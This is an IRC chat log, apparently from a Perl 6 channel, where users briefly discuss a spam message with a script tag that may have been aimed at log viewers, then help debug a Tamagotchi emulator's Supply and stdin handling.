timotimo | what's the script tag doing in the irc message? m) | ||
moritz | hoping for XSS in IRC logger/clients? | 15:22 | |
timotimo | that'd be extremely unfortunate to have | ||
sena_kun | fake to the degree of trying out <script> attack. | ||
jmerelo | moritz: or HTMLized logs. Can that be deleted? | ||
moritz | jmerelo: I don't have any public logs anymore | 15:23 | |
AlexDaniel | jmerelo: yeah, you'd have to contact feb on #irclogger if you want to delete something, I guess | ||
jmerelo | moritz: I know, but I still wonder if that can be purged... | ||
AlexDaniel: OK... | 15:24 | ||
15:24
robertle left
|
|||
stmuk | that js link seems to be related to windows malware | 15:25 | |
xinming | but I'm curious, why they're trying to frame mst. Maybe he is being kicked too much? | ||
stmuk | maybe just used to track infections | 15:26 | |
it doesn't connect anyway | |||
xinming | and BTW, I found that the ip address are from China | ||
the Remco16 | |||
stmuk | one was from Turkey as well .. I think its just hacked | 15:27 | |
xinming | and the js name which is /tj/tongji.js <--- This script is used to get statistics. the tongji is 统计 in Chinese | ||
so, I think it's from China | 15:28 | ||
jkramer | Ok so for fun I wanted to implement rosettacode.org/wiki/Tamagotchi_emulator and I ran into a problem regarding tamagotchi turd-related problem... | 15:30 | |
Here's the code: bpaste.net/show/8fc1a41389b4 | |||
15:30
Zoffix joined
|
|||
jmerelo | jkramer: oh, the imfamous TTR problem. | 15:30 | |
jkramer | First of all, somehow the interval events start only after typing something at first, but that's not the main problem. | 15:31 | |
When typing 'feed' to feed the beast, the method feed adds a turd into the upcoming turds queue. This apparently makes the whole programm stall/hang. | |||
Removing "@!upcoming-turds.push: 60.rand + 60;" at line 15 fixes it somehow. I have no idea what's happening here | 15:32 | ||
15:33
Skarsnik_ joined
|
|||
AlexDaniel | jkramer: I'm more concerned about this initial requirement to hit Enter again | 15:33 | |
jkramer | Yes that's also annoying | ||
jmerelo | jkramer: mixing "live" and "on demand" supplies, maybe? docs.perl6.org/type/Supply | ||
15:34
skids joined
|
|||
timotimo | i wonder if $*IN.lines is just a tiny bit too blocking? | 15:34 | |
AlexDaniel | golfable to this: | 15:35 | |
react { whenever Supply.interval(1) { say ‘interval’ }; whenever $*IN.lines.Supply { say ‘line’ }; } | |||
timotimo | yeah | ||
Zoffix | Shouldn't it be .Supply.lines ? | ||
jkramer | I tried to isolate the problem but I could only reproduce the initial wait for a line in a smaller snippet, not the push-thing | ||
15:35
Skarsnik left
|
|||
jmerelo | Maybe create a $supply variable from Supply.interval(1)? | 15:35 | |
AlexDaniel | Zoffix: well that doesn't work at all :D | 15:36 | |
Zoffix | vOv | ||
jmerelo | jkramer: Also, it would be a good candidate for StackOverflow. | ||
timotimo | i don't think that's it. i'll sic the debugserver on it |